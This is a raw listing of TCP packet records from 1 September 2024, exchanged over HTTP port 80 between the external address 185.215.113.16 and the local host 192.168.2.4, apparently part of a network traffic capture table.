Sep 1, 2024 05:09:07.459887981 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459909916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459923029 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459927082 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459935904 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459964037 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459990978 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460022926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460031033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460040092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460048914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460057020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460067034 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460069895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460093021 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460103989 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460129976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460167885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460170031 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460177898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460208893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460272074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460279942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460289001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460297108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460306883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460320950 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460330963 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460355997 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460356951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460366011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.460401058 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.460410118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522361994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522371054 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522376060 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522423983 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522434950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522452116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522454023 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522465944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522476912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522481918 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522502899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522526026 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522599936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522613049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522623062 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522631884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522640944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522645950 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522650957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522660017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522674084 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522691965 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522701979 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.522984982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.522994041 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523035049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523171902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523189068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523196936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523205996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523214102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523221016 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523224115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523232937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523241997 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523247957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523250103 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523258924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523267984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523276091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523277044 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523284912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523293972 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523294926 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523303032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523312092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523319006 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523320913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523333073 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523335934 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.523361921 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.523371935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545192957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545249939 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545275927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545284986 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545319080 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545341015 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545342922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545353889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545361996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545371056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545389891 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545408964 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545595884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545604944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545614004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545623064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545631886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545639992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545643091 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545651913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545660019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545669079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545679092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545684099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545718908 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545746088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545754910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545763016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545772076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545789957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545824051 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.545974016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545981884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545990944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.545999050 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546008110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546015978 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546022892 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546025038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546034098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546041965 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546051979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546058893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546068907 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546072006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546081066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546102047 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546120882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546307087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546315908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546324968 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546333075 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546341896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546350002 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546350956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546360016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546369076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546370983 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546379089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546392918 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546411991 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546422005 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546607971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546616077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546624899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546633005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546641111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546649933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546658039 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546663046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546669006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546696901 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546713114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546746969 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546793938 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546859980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546869993 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546879053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546884060 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546892881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546904087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546909094 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546911955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546947002 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546957970 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.546974897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546984911 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.546993971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547003031 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547009945 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547010899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547019958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547028065 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547033072 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547039032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547066927 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547076941 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547144890 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547158003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547168016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547178030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547188044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547192097 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547223091 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.547290087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547300100 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.547339916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.583178043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583250999 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.583252907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583262920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583295107 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.583313942 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.583316088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583324909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583333969 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583343029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.583362103 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.583389044 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609071970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609081984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609086990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609149933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609149933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609160900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609174013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609184027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609193087 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609229088 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609253883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609263897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609303951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609303951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609332085 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609340906 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609349966 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609363079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609371901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609380007 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609399080 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609425068 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609492064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609500885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609508991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609518051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609527111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609532118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609549046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609575987 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609657049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609668016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609677076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609684944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609694958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609698057 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609724998 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609743118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609793901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609803915 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609812021 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609822989 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609833956 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609855890 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609874010 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609899998 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609915018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609922886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609932899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609937906 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609941959 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.609949112 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609973907 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.609983921 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.610086918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.610096931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.610106945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.610116005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.610126019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.610130072 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.610148907 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.610172033 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.631736040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631838083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631845951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631860971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631869078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631879091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631886005 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.631906033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631922007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631927013 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.631941080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631947994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.631962061 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.631987095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632009029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632019043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632033110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632054090 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632075071 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632112026 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632121086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632129908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632149935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632175922 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632204056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632214069 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632221937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632245064 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632272005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632272959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632282019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632289886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632306099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632307053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632337093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632359028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632431030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632442951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632452011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632461071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632469893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632476091 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632498980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632509947 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632519007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632520914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632529020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632550955 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632567883 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632641077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632652044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632659912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632668972 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632677078 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632678032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632692099 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632711887 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632733107 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632797956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632807016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632816076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632823944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632852077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632863045 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632917881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632926941 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632936001 CEST	80	49738	185.215.113.16	192.168.2.4
